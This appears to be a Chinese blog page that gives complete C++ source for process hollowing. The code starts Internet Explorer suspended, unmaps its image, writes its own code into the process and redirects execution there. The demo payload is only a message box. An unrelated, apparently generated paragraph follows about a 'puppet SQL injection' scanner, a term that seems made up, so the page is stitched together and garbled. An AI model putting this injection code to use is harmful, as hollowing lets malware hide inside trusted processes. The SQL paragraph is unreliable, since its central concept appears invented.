代码注入之傀儡进程

 

傀儡进程——Exe注入
2009-09-17 16:29

#include "stdafx.h"

#include <windows.h>
typedef long NTSTATUS;
typedef NTSTATUS (__stdcall *pfnZwUnmapViewOfSection)(
        IN HANDLE ProcessHandle,
        IN LPVOID BaseAddress
        );
BOOL CreateIEProcess();
PROCESS_INFORMATION pi  = {0};
DWORD GetCurModuleSize(DWORD dwModuleBase);
DWORD GetRemoteProcessImageBase(DWORD dwPEB);
DWORD GetNewEntryPoint();
void TestFunc();
//
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;

int _tmain(int argc, _TCHAR* argv[])
{
        ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
                GetModuleHandleA("ntdll.dll"),"ZwUnmapViewOfSection");
        printf("ZwUnmapViewOfSection : 0x%08X./n",ZwUnmapViewOfSection);
        if ( !ZwUnmapViewOfSection )
         {
                printf("Get ZwUnmapViewOfSection Error./n");
                goto __exit;
         }
        if ( !CreateIEProcess() )
         {
                goto __exit;
         }

        printf("TargetProcessId : %d./n",pi.dwProcessId);

        HMODULE hModuleBase = GetModuleHandleA(NULL);
        printf("hModuleBase : 0x%08X./n",hModuleBase);
        DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
        printf("ModuleSize : 0x%08X/n",dwImageSize);
        
        CONTEXT ThreadCxt;
        ThreadCxt.ContextFlags = CONTEXT_FULL;
        GetThreadContext(pi.hThread,&ThreadCxt);
        printf("Target PEB Addr : 0x%08X./n",ThreadCxt.Ebx);
        DWORD dwRemoteImageBase = GetRemoteProcessImageBase(ThreadCxt.Ebx);
        printf("RemoteImageBase : 0x%08X./n",dwRemoteImageBase);
        
        ZwUnmapViewOfSection(pi.hProcess,(LPVOID)dwRemoteImageBase);

        LPVOID lpAlloAddr = VirtualAllocEx(
                pi.hProcess,
                hModuleBase,
                dwImageSize,
                MEM_RESERVE | MEM_COMMIT,
                PAGE_EXECUTE_READWRITE
                );
        if ( lpAlloAddr )
         {
                printf("Alloc Remote Addr OK./n");
         }
        else
        {
                printf("Alloc Remote Addr Error./n");
         }

        WriteProcessMemory(
                pi.hProcess,hModuleBase,
                hModuleBase,dwImageSize,NULL );
        printf("Write Image data OK./n");
        ThreadCxt.ContextFlags = CONTEXT_FULL;
        ThreadCxt.Eax = GetNewEntryPoint();
        SetThreadContext(pi.hThread,&ThreadCxt);
        ResumeThread(pi.hThread);
        printf("finished./n");
__exit:
        //TerminateProcess(pi.hProcess,0);
        system("pause");
        return 0;
}

BOOL CreateIEProcess()
{
        wchar_t wszIePath[] = L"C://Program Files//Internet Explorer//iexplore.exe";
        STARTUPINFO si = {0};
        si.cb = sizeof(si);
        BOOL bRet;

        bRet = CreateProcessW(
                NULL,wszIePath,
                NULL,NULL,FALSE,CREATE_SUSPENDED,
                NULL,NULL,
                 &si,&pi );
        if ( bRet )
                printf("Create IE Ok./n");
        else
                printf("Create IE error./n");
        return bRet;
}

DWORD GetCurModuleSize(DWORD dwModuleBase)
{
        PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
        PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
        return pNtHdr->OptionalHeader.SizeOfImage;
}

DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
        DWORD dwBaseRet;
        ReadProcessMemory(pi.hProcess,(LPVOID)(dwPEB+8),&dwBaseRet,sizeof(DWORD),NULL);
        return dwBaseRet;
/*
lkd> dt_peb
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged     : UChar
+0x003 BitField          : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 SpareBits         : Pos 1, 7 Bits
+0x004 Mutant            : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
*/
}

DWORD GetNewEntryPoint()
{
        return (DWORD)TestFunc;
}

void TestFunc()
{
        MessageBoxA(0,"Injected OK","123",0);
}

 

 

傀儡SQL注入批量扫描工具是一种用于检测和扫描网站是否存在傀儡SQL注入漏洞的软件工具。傀儡SQL注入是一种常见的网络安全漏洞,攻击者可以利用该漏洞来获取数据库中的敏感信息,或者更严重的情况下,完全控制受攻击的网站。 这种工具的工作原理是自动化扫描一系列的URL链接,检查这些链接是否存在傀儡SQL注入漏洞。工具会自动发送带有特殊注入代码的请求,以尝试从数据库中获取未经授权的数据。如果网站存在注入漏洞,工具将会提供相应的警报或报告。 使用傀儡SQL注入批量扫描工具的好处是可以快速发现并修复潜在的漏洞。通过自动化扫描,工具可以在短时间内检查大量的URL链接,从而节省了人工扫描的时间和精力。同时,工具还可以提供详细的报告,包括漏洞的类型、位置和可能的危害程度,帮助网站管理员更好地了解漏洞的风险,并采取相应的措施进行修复。 然而,傀儡SQL注入批量扫描工具只是发现漏洞的工具,不能替代人工的安全评估和修复过程。因此,在使用这种工具时,网站管理员仍然需要监测并验证扫描结果,确保没有误报或漏报。此外,修复漏洞也需要采取正确的措施,例如升级软件、过滤输入等,才能有效地防范傀儡SQL注入攻击。 总之,傀儡SQL注入批量扫描工具在网络安全领域发挥着重要的作用,可以帮助网站管理员快速发现和修复潜在的傀儡SQL注入漏洞,从而提高网站的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值